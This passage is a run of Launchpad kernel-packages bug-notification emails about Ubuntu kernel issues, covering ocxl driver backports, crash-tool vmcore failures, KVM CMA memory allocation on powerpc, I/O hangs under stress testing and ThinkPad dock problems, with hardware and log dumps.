  My laptop is a Samsung RF411 i5 2nd Generation and Geforce 540M.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: ubuntu-release-upgrader-core 1:18.04.17
  ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
  Uname: Linux 4.15.0-20-generic x86_64
  NonfreeKernelModules: wl
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: amd64
  CrashDB: ubuntu
  CurrentDesktop: ubuntu:GNOME
  Date: Thu May  3 16:22:40 2018
  InstallationDate: Installed on 2018-04-27 (6 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  PackageArchitecture: all
  SourcePackage: ubuntu-release-upgrader
  Symptom: dist-upgrade
  UpgradeStatus: No upgrade log present (probably fresh install)
  VarLogDistupgradeAptHistorylog:
   Start-Date: 2018-04-27  15:46:02
   End-Date: 2018-04-27  15:46:02
  VarLogDistupgradeAptlog:
   Log time: 2018-04-27 15:45:39.753331
   Starting pkgProblemResolver with broken count: 0
   Starting 2 pkgProblemResolver with broken count: 0
   Done
   Log time: 2018-04-27 15:46:04.859979
  VarLogDistupgradeApttermlog:
   Log started: 2018-04-27  15:46:02
   Log ended: 2018-04-27  15:46:02
  --- 
  .tmp.unity_support_test.0:
   
  ApportVersion: 2.20.9-0ubuntu7.1
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  edir   2354 F pulseaudio
  CompositorRunning: None
  DistUpgraded: Fresh install
  DistroCodename: bionic
  DistroRelease: Ubuntu 18.04
  DistroVariant: ubuntu
  DkmsStatus:
   bcmwl, 6.30.223.271+bdcom, 4.15.0-20-generic, x86_64: installed
   bcmwl, 6.30.223.271+bdcom, 4.15.0-22-generic, x86_64: installed
  GraphicsCard:
   Intel Corporation 2nd Generation Core Processor Family Integrated Graphics 
Controller [8086:0116] (rev 09) (prog-if 00 [VGA controller])
 Subsystem: Samsung Electronics Co Ltd 2nd Generation Core Processor Family 
Integrated Graphics Controller [144d:c0a5]
 Subsystem: Samsung Electronics Co Ltd GF108M [GeForce GT 540M] [144d:c0a5]
  HibernationDevice: RESUME=UUID=e7a61aee-64c2-4c88-b4e1-4de481d0f88d
  InstallationDate: Installed on 2018-04-27 (36 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  MachineType: SAMSUNG ELECTRONICS CO., LTD. RF511/RF411/RF711
  NonfreeKernelModules: wl
  Package: xserver-xorg-video-nouveau 1:1.0.15-2
  PackageArchitecture: amd64
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-22-generic 
root=UUID=db38a22c-0e9f-4e1a-b9f7-f7aac2544394 ro quiet splash nouveau.runpm=0
  ProcVersionSignature: Ubuntu 4.15.0-22.24-generic 4.15.17
  PulseList:
   Error: command ['pacmd', 'list'] failed with exit code 1: Home directory not 
accessible: Permission denied
   No PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-22-generic N/A
   linux-backports-modules-4.15.0-22-generic  N/A
   linux-firmware 1.173.1
  Tags:  bionic ubuntu
  Uname: Linux 4.15.0-22-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups:
   
  _MarkForUpload: True
  dmi.bios.date: 04/26/2011
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: 10HX.M034.20110426.SSH
  dmi.board.asset.tag: To be filled by O.E.M.
  dmi.board.name: RF511/RF411/RF711
  dmi.board.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.board.version: 10HX
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 9
  dmi.chassis.vendor: SAMSUNG ELECTRONICS CO., 

[Kernel-packages] [Bug 1781436] Re: Update2 for ocxl driver

[Manoj Iyer]

** Changed in: linux (Ubuntu)
 Assignee: Ubuntu on IBM Power Systems Bug Triage (ubuntu-power-triage) => 
Canonical Kernel Team (canonical-kernel-team)

** Changed in: linux (Ubuntu)
   Importance: Undecided => High

** Changed in: ubuntu-power-systems
   Importance: Medium => High

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781436

Title:
  Update2 for ocxl driver

Status in The Ubuntu-power-systems project:
  Triaged
Status in linux package in Ubuntu:
  New

Bug description:
  == Comment: #0 - Frederic Barrat - 2018-07-12 09:56:29 ==
  ---Problem Description---
  Update to ocxl driver
   
  Contact Information = frederic.bar...@fr.ibm.com 
   
  ---uname output---
  Linux zaiuslp14 4.15.0-24-generic #26-Ubuntu SMP Wed Jun 13 08:43:33 UTC 2018 
ppc64le ppc64le ppc64le GNU/Linux
   
  ---Additional Hardware Info---
  opencapi adapter 

   
  Machine Type = any Power9 with opencapi support 
   
  ---Debugger---
  A debugger is not configured
   
  Stack trace output:
   no
   
  Oops output:
   no
   
  System Dump Info:
The system is not configured to capture a system dump.
   
  *Additional Instructions for frederic.bar...@fr.ibm.com: 
  -Attach sysctl -a output output to the bug.

  == Comment: #1 - Frederic Barrat  - 2018-07-12 11:11:39 ==
  Could we have the following fix backported to ubuntu 18.04? It's to address a 
problem in the relatively new ocxl driver

  It's currently in the 'next' tree of the powerpc maintainer:
  d497ebf5fb3a026c0817f8c96cde578787f24093 ocxl: Fix page fault handler in case 
of fault on dying process

  
https://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux.git/commit/?id=d497ebf5fb3a026c0817f8c96cde57

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-power-systems/+bug/1781436/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781436] Re: Update2 for ocxl driver

[Frank Heimes]

** Changed in: ubuntu-power-systems
   Status: New => Triaged

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781436

Title:
  Update2 for ocxl driver

Status in The Ubuntu-power-systems project:
  Triaged
Status in linux package in Ubuntu:
  New

Bug description:
  == Comment: #0 - Frederic Barrat - 2018-07-12 09:56:29 ==
  ---Problem Description---
  Update to ocxl driver
   
  Contact Information = frederic.bar...@fr.ibm.com 
   
  ---uname output---
  Linux zaiuslp14 4.15.0-24-generic #26-Ubuntu SMP Wed Jun 13 08:43:33 UTC 2018 
ppc64le ppc64le ppc64le GNU/Linux
   
  ---Additional Hardware Info---
  opencapi adapter 

   
  Machine Type = any Power9 with opencapi support 
   
  ---Debugger---
  A debugger is not configured
   
  Stack trace output:
   no
   
  Oops output:
   no
   
  System Dump Info:
The system is not configured to capture a system dump.
   
  *Additional Instructions for frederic.bar...@fr.ibm.com: 
  -Attach sysctl -a output output to the bug.

  == Comment: #1 - Frederic Barrat  - 2018-07-12 11:11:39 ==
  Could we have the following fix backported to ubuntu 18.04? It's to address a 
problem in the relatively new ocxl driver

  It's currently in the 'next' tree of the powerpc maintainer:
  d497ebf5fb3a026c0817f8c96cde578787f24093 ocxl: Fix page fault handler in case 
of fault on dying process

  
https://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux.git/commit/?id=d497ebf5fb3a026c0817f8c96cde57

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-power-systems/+bug/1781436/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1746088] Re: [Ubuntu 16.04.4] Unable to analyze the vmcore generated by kdump on 4.13.0-26-generic kernel

[Manoj Iyer]

** Changed in: crash (Ubuntu Artful)
   Status: In Progress => Won't Fix

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to crash in Ubuntu.
https://bugs.launchpad.net/bugs/1746088

Title:
  [Ubuntu 16.04.4] Unable to analyze the vmcore generated by kdump on
  4.13.0-26-generic kernel

Status in The Ubuntu-power-systems project:
  In Progress
Status in crash package in Ubuntu:
  Fix Released
Status in crash source package in Xenial:
  New
Status in crash source package in Artful:
  Won't Fix
Status in crash source package in Bionic:
  Fix Released

Bug description:
  [Impact]
  It won't be possible to analyze dumps produced by newer kernels (hwe on 
xenial, for example).

  [Test Case]
  Tested that this version of crash can analyze both GA (4.4) and hwe (4.15) 
kernels.

  [Regression Potential]
  New crash versions may have bugs and some commands not work with older 
kernels. The smoke test helps a little, but more testing may be desirable.


  ---Problem Description---
  Unable to analyze the vmcore generated by kdump on 4.13.0-26-generic kernel 
(Ubuntu 16.04.4)

  ---uname output---
  Linux ltc-briggs1 4.13.0-26-generic #29~16.04.2-Ubuntu SMP Tue Jan 9 21:40:36 
UTC 2018 ppc64le ppc64le ppc64le GNU/Linux

  Machine Type = 8001-22C

  ---Steps to Reproduce---
   This bug follow up bug of 
https://bugzilla.linux.ibm.com/show_bug.cgi?id=163565
  The steps to create dump is as follows

  Once you generate the kdump
  use crash to analyze the vmcore and we get this error

  console logs ==

  root@ltc-briggs1:/var/crash/201801150227# ls
  dmesg.201801150227  vmcore.201801150227
  .0-26-generic vmcore.2018011502271150227# crash 
/usr/lib/debug/boot/vmlinux-4.13.

  crash 7.1.4
  Copyright (C) 2002-2015  Red Hat, Inc.
  Copyright (C) 2004, 2005, 2006, 2010  IBM Corporation
  Copyright (C) 1999-2006  Hewlett-Packard Co
  Copyright (C) 2005, 2006, 2011, 2012  Fujitsu Limited
  Copyright (C) 2006, 2007  VA Linux Systems Japan K.K.
  Copyright (C) 2005, 2011  NEC Corporation
  Copyright (C) 1999, 2002, 2007  Silicon Graphics, Inc.
  Copyright (C) 1999, 2000, 2001, 2002  Mission Critical Linux, Inc.
  This program is free software, covered by the GNU General Public License,
  and you are welcome to change it and/or distribute copies of it under
  certain conditions.  Enter "help copying" to see the conditions.
  This program has absolutely no warranty.  Enter "help warranty" for details.

  GNU gdb (GDB) 7.6
  Copyright (C) 2013 Free Software Foundation, Inc.
  License GPLv3+: GNU GPL version 3 or later 
  This is free software: you are free to change and redistribute it.
  There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
  and "show warranty" for details.
  This GDB was configured as "powerpc64le-unknown-linux-gnu"...

  please wait... (gathering module symbol data)
  WARNING: cannot access vmalloc'd module memory

  crash: invalid structure member offset: thread_info_task
     FILE: task.c  LINE: 598  FUNCTION: irqstacks_init()

  [/usr/bin/crash] error trace: 1008ade0 => 1011552c => 1017d220 =>
  100833e0

    100833e0: (undetermined)
    1017d220: OFFSET_verify+80
    1011552c: task_init+5084
    1008ade0: main_loop+336

  == Comment from Hari Krishna Bathini ==

  There are quite a few commits (all available upstream) that are needed for
  crash tool to work fine. I think the right thing to do here would be to use
  the latest crash tool version 7.2.0 to go with the kernel update. Also, the
  below commit would be needed on top of 7.2.0 crash utility:

    commit c8178eca9c74f81a7f803a58d339635cc152e8d9
    Author: Dave Anderson 
    Date:   Thu Nov 9 11:39:05 2017 -0500

  Update for support of Linux 4.14 and later PPC64 kernels where the
  hash page table geometry accomodates a larger virtual address range.
  Without the patch, the virtual-to-physical translation of user space
  virtual addresses by "vm -p", "vtop", and "rd -u" may generate an
  invalid translation or otherwise fail.
  (hbath...@linux.vnet.ibm.com)

  Similar thing holds true for makedumpfile tool..

  Thanks
  Hari

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-power-systems/+bug/1746088/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781038] Re: KVM guest hash page table failed to allocate contiguous memory (CMA)

[Frank Heimes]

** Changed in: ubuntu-power-systems
   Status: New => Triaged

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781038

Title:
  KVM guest hash page table failed to allocate contiguous memory (CMA)

Status in The Ubuntu-power-systems project:
  Triaged
Status in linux package in Ubuntu:
  New

Bug description:
  Per an email forwarded within IBM, we wish to use this Launchpad bug
  to work on the technical discussion with the Canonical development
  folks and the IBM KVM and kernel team surrounding the analysis made by
  Daniel Axtens of Canonical for the customer issue raised in Case
  #00177825.

  The only statement at the moment by the KVM team was that there were
  various issues associated with CMA fragmentation causing issues with
  KVM guests. However, as mentioned, this bug is to allow the dialog
  amongst all the developers to see what can be done to help alleviate
  the situation or understand the root cause further.

  Please also note that we should not be attaching customer data to this
  bug. If that is necessary then we expect Canonical to help provide a
  controlled environment for reviewing that data so we avoid any privacy
  issues (e.g. for GDPR compliance).

  Here is the email from Daniel:

  I have looked at the sosreport you uploaded. Here is my analysis so
  far.

  Virtualisation on powerpc has some special requirements. To start a
  guest on a powerpc host, you need to allocate a contiguous area of
  memory to hold the guest's hash page table (HPT, or HTAB, depending on
  which document you look at). The HPT is required to track and manage
  guest memory.

  Your error reports show qemu asking the kernel to allocate an HTAB,
  and the kernel reporting that it had insufficient memory to do so. The
  required memory for the HPT scales with the guest memory size - it
  should be about 1/128th of guest memory, so for a 16GB guest, that's
  128MB. However, the HPT has to be allocated as a single contiguous
  memory region. (This is in contrast to regular guest memory, which is
  not required to be contiguous from the host point of view.)

  The kernel keeps a special contiguous memory area (CMA) for these
  purposes, and keeps track of the total amounts in use and still
  available. These are shown in /proc/meminfo. From the system that ran
  the sosreport, we see:

  CmaTotal: 26853376 kB
  CmaFree: 4024448 kB

  So there is a total of about 25GB of CMA, of which about 3.8GB remain.
  This is obviously more than 128MB:

  - It's very possible that between the error and the sosreport, more
  contiguous memory became available. This would match the intermittent
  nature of the issue.

  - It also might be that the failure was due to fragmentation of memory
  in the CMA pool. That is, there might be more than 128MB, but it might
  all be in chunks that are smaller than 128MB, or which don't have the
  required alignment for a HPT.

  Given that the system's uptime was 112 days when the sosreport was
  generated, it would be unsurprising if fragmentation had occurred!
  (Relatedly - you're running 4.4.0-109, which does not have the Spectre
  and Meltdown fixes.)

  This issue has come up before - both in a public Canonical-IBM
  synchronised bug report[1], and with Red Hat[2]. It appears that there
  is some work within IBM to address this, but it seems to have stalled.
  I will get in touch with the IBM powerpc kernel team on their public
  mailing list and ask about the status. I will keep you updated.

  In the mean time, I have a potential solution/workaround. By default,
  5% of memory is reserved for CMA (kernel source:
  arch/powerpc/kvm/book3s_hv_builtin.c, kvm_cma_resv_ratio). You can
  increase this with a boot parameter, so for example to reserve 10%,
  you could boot with kvm_cma_resv_ratio=10. This can be set in
  petitboot. This should significantly reduce the incidence of this
  issue - perhaps eliminating it entirely - at the cost of locking away
  more of the system's memory. You would need to experiment to determine
  the optimal value. Perhaps given that you are seeing the problem only
  intermittently, a ratio of 7% would be sufficient - that would give
  you ~35GB of CMA.

  Please let me know if testing this setting would be an option for you.
  Please also let me know if you require further information on setting
  boot parameters with Petitboot.

  Regards,
  Daniel

  [1] https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1632045
  [2] https://bugzilla.redhat.com/show_bug.cgi?id=1304300

  Before we go any further, let's get the basic info here. Apparently
  there was a sosreport somewhere else, and a link would be good, but,
  here's what we need here -- at least -- to get started:

  1. What is the server model and at least basic config info (I/O cards,
  firmware level)? Use /proc/meminfo, etc.  Attach the syslog and the
  /var/log/libvirt/qemu 

[Kernel-packages] [Bug 1709889] Comment bridged from LTC Bugzilla

[bugproxy]

--- Comment From dougm...@us.ibm.com 2018-07-16 09:02 EDT---
*** Bug 169550 has been marked as a duplicate of this bug. ***

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1709889

Title:
  Ubuntu 17.04: Bug in cfq scheduler, I/Os do not get submitted to
  adapter for a very long time.

Status in Linux:
  Unknown
Status in The Ubuntu-power-systems project:
  Invalid
Status in linux package in Ubuntu:
  Invalid
Status in linux source package in Zesty:
  Won't Fix

Bug description:
  ---Problem Description---
  When running stress test, sometimes seeing IO hung in dmesg or seeing "Host 
adapter abort request" error.

  ---Steps to Reproduce---
   There are two ways to re-create the issues:
  (1)running HTX, you will see IO timeout backtrace in dmesg in several hours
  (2)running some IO test, then reboot system, repeat this two steps, it takes 
long time to re-create the issue.
   
  ---uname output---
  4.10.0-11-generic

  The bulk of the effort for this issue is currently being worked in
  MicroSemi's JIRA https://jira.pmcs.com/browse/ESDIBMOP-133.

  Ran an interesting test: Ran HTX until I started getting the "stall"
  messages on the console, then shutdown HTX and examined the I/O
  counters for the tested disks in sysfs:

  root@bostonp15:~# for i in 
/sys/devices/pci0003:00/0003:00:00.0/0003:01:00.0/host0/target0:2:[2345]/0:2:[2345]:0;
 do echo ${i##*/} $(<${i}/iorequest_cnt) $(<${i}/iodone_cnt); done
  0:2:2:0 0x5eba3d 0x5eba3d
  0:2:3:0 0x773cc9 0x773cc9
  0:2:4:0 0x782c61 0x782c61
  0:2:5:0 0x5ca134 0x5ca134
  root@bostonp15:~#

  So, none of the disks showed any evidence of having lost an I/O. I
  then restarted HTX and aside from having to manually restart one of
  the disks, see no problems with the testing. It appears that what was
  "hung" was purely in userland.

  This does not absolve the kernel or aacraid driver from blame, but it
  shows that the OS "believes" that it completed the I/O and thus
  removed it from the queue. What we don't know is whether the OS truly
  notified HTX about the completion, or if HTX (or userland libraries)
  just failed to process the notification.

  Tests are running again, will see what happens next.

  Update from JIRA:

  I have run some more experiments. Not sure what it tells us, but
  here's what I've seen.

  First test, ran until I got kernel messages about stalled tasks, then
  shutdown HTX. After HTX was down, I checked the above mentioned
  counters and found that on each disk iorequest_cnt matched iodone_cnt.
  The disks were usable and I could restart HTX. This suggests that the
  problem is not in the PM8069 firmware, and makes the case for the
  aacraid driver having a bug somewhat weaker. However, this merely says
  that the driver "completed" the I/O as far as the kernel is concerned,
  not that a completion rippled back to the application.

  I restarted HTX and have run until errors. This time, I am leaving HTX
  running and observing. Two of the disks reached the HTX error
  threshold and the testers stopped (those 2 disks are now idle).
  Another disks saw errors but then stopped and appears to be running
  fine now. The last disk has not seen any errors (yet). On the two idle
  (errored-out) disks I see  iorequest_cnt matches iodone_cnt. I am able
  to "terminate and restart" the two idle disks and HTX appears to be
  testing them again "normally". Note that no reboot was required,
  further supporting the evidence that, as far as the kernel is
  concerned, there is nothing wrong with the disks and their I/O paths.

  So, I don't believe this completely eliminates aacraid from the
  picture, especially given we don't see this behavior on other
  systems/drivers. But, it probably moves the focus of the investigation
  away form the adapter firmware.

  Tried build upstream 4.11 kernel on Ubuntu. This still gets the hangs.
  Both Ubuntu 4.10 and upstream 4.11 have aacraid driver
  1.2.1[50792]-custom.

  Good new/bad news... While doing an initial evaluation of the LSI-3008
  SAS HBA on Boston and Ubuntu 17.04, I am hitting this same problem.
  So, it appears to have nothing specific to do with the PM8069 or
  aacraid driver.

  Some notes on reproduce this. I have been using the github release of
  HTX, built using the following steps:

  1. apt install make gcc g++ git libncurses5-dev libcxl-dev libdapl-dev 
(others may be required)
  2. git clone https://github.com/open-power/HTX
  3. cd HTX
  4. make
  5. make deb

  Then install the resulting "htxubuntu.deb" package.

  Note, HTX will not test disks that have a filesystem or OS installed,
  so there must be at least two disks made available to HTX by clearing
  any previous data. A partition table is optional, in my testing I have
  none.

  Also, it may be desirable to run HTX somewhere other than the console,
  leaving the console free to watch for messages.

  

[Kernel-packages] [Bug 1781904] WifiSyslog.txt

[Martin Dünkelmann]

apport information

** Attachment added: "WifiSyslog.txt"
   
https://bugs.launchpad.net/bugs/1781904/+attachment/5164174/+files/WifiSyslog.txt

** Changed in: linux (Ubuntu)
   Status: Incomplete => Confirmed

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781904

Title:
  ThinkPad T460P Ultra Dock Can't dock it while running

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Linux deus-ex-machina 4.15.0-24-generic #26-Ubuntu SMP Wed Jun 13
  08:44:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

  LSB Version:  
core-9.20170808ubuntu1-noarch:printing-9.20170808ubuntu1-noarch:security-9.20170808ubuntu1-noarch
  Distributor ID:   LinuxMint
  Description:  Linux Mint 19 Tara
  Release:  19
  Codename: tara

  Ubuntu 18.04
  ThinkPad T460p

  I reject the dock and want to use the dock again.
  System hang, usb doesn't work, displays doesn't work.
  Nothing but the ethernet connection at the dock is working.

  The ThinkPad is working again, if I reject the dock.
  But to use the dock again, I need to restart the laptop.

  But I can reject the dock and plugin it again, while running the ThinkPad in 
Standby.
  Weird.

  I attached the dmesg log.

  I use the normal nvidia drivers from the repo (v390).
  Here is my lspci log (can only attach ONE file):

  00:00.0 Host bridge: Intel Corporation Skylake Host Bridge/DRAM Registers 
(rev 07)
   Subsystem: Lenovo Xeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Host 
Bridge/DRAM Registers
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: skl_uncore

  00:01.0 PCI bridge: Intel Corporation Skylake PCIe Controller (x16) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:01.2 PCI bridge: Intel Corporation Skylake PCIe Controller (x4) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:02.0 VGA compatible controller: Intel Corporation HD Graphics 530 (rev 06) 
(prog-if 00 [VGA controller])
   Subsystem: Lenovo HD Graphics 530
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: i915
   Kernel modules: i915

  00:14.0 USB controller: Intel Corporation Sunrise Point-H USB 3.0 xHCI 
Controller (rev 31) (prog-if 30 [XHCI])
   Subsystem: Lenovo Sunrise Point-H USB 3.0 xHCI Controller
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: xhci_hcd

  00:14.2 Signal processing controller: Intel Corporation Sunrise Point-H 
Thermal subsystem (rev 31)
   Subsystem: Lenovo Sunrise Point-H Thermal subsystem
   Control: I/O- Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: intel_pch_thermal
   Kernel modules: intel_pch_thermal

  00:16.0 Communication controller: Intel Corporation Sunrise Point-H CSME HECI 
#1 (rev 31)
   Subsystem: Lenovo Sunrise Point-H CSME HECI
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: mei_me
   Kernel modules: mei_me

  00:17.0 SATA controller: Intel Corporation Sunrise Point-H SATA Controller 
[AHCI mode] (rev 31) (prog-if 01 [AHCI 1.0])
   Subsystem: Lenovo Sunrise Point-H SATA Controller [AHCI mode]
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: ahci
   Kernel modules: ahci

  00:1c.0 PCI bridge: Intel Corporation Sunrise Point-H PCI Express Root Port 
#1 (rev f1) (prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- 

[Kernel-packages] [Bug 1781904] RfKill.txt

[Martin Dünkelmann]

apport information

** Attachment added: "RfKill.txt"
   https://bugs.launchpad.net/bugs/1781904/+attachment/5164172/+files/RfKill.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781904

Title:
  ThinkPad T460P Ultra Dock Can't dock it while running

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Linux deus-ex-machina 4.15.0-24-generic #26-Ubuntu SMP Wed Jun 13
  08:44:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

  LSB Version:  
core-9.20170808ubuntu1-noarch:printing-9.20170808ubuntu1-noarch:security-9.20170808ubuntu1-noarch
  Distributor ID:   LinuxMint
  Description:  Linux Mint 19 Tara
  Release:  19
  Codename: tara

  Ubuntu 18.04
  ThinkPad T460p

  I reject the dock and want to use the dock again.
  System hang, usb doesn't work, displays doesn't work.
  Nothing but the ethernet connection at the dock is working.

  The ThinkPad is working again, if I reject the dock.
  But to use the dock again, I need to restart the laptop.

  But I can reject the dock and plugin it again, while running the ThinkPad in 
Standby.
  Weird.

  I attached the dmesg log.

  I use the normal nvidia drivers from the repo (v390).
  Here is my lspci log (can only attach ONE file):

  00:00.0 Host bridge: Intel Corporation Skylake Host Bridge/DRAM Registers 
(rev 07)
   Subsystem: Lenovo Xeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Host 
Bridge/DRAM Registers
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: skl_uncore

  00:01.0 PCI bridge: Intel Corporation Skylake PCIe Controller (x16) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:01.2 PCI bridge: Intel Corporation Skylake PCIe Controller (x4) (rev 07) 
(prog-if 00 [Normal decode])
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- TAbort- Reset- FastB2B-
    PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
   Capabilities: 
   Kernel driver in use: pcieport
   Kernel modules: shpchp

  00:02.0 VGA compatible controller: Intel Corporation HD Graphics 530 (rev 06) 
(prog-if 00 [VGA controller])
   Subsystem: Lenovo HD Graphics 530
   Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: i915
   Kernel modules: i915

  00:14.0 USB controller: Intel Corporation Sunrise Point-H USB 3.0 xHCI 
Controller (rev 31) (prog-if 30 [XHCI])
   Subsystem: Lenovo Sunrise Point-H USB 3.0 xHCI Controller
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 
   Kernel driver in use: xhci_hcd

  00:14.2 Signal processing controller: Intel Corporation Sunrise Point-H 
Thermal subsystem (rev 31)
   Subsystem: Lenovo Sunrise Point-H Thermal subsystem
   Control: I/O- Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx-
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: intel_pch_thermal
   Kernel modules: intel_pch_thermal

  00:16.0 Communication controller: Intel Corporation Sunrise Point-H CSME HECI 
#1 (rev 31)
   Subsystem: Lenovo Sunrise Point-H CSME HECI
   Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- 
Stepping- SERR- FastB2B- DisINTx+
   Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- 
   Kernel driver in use: mei_me
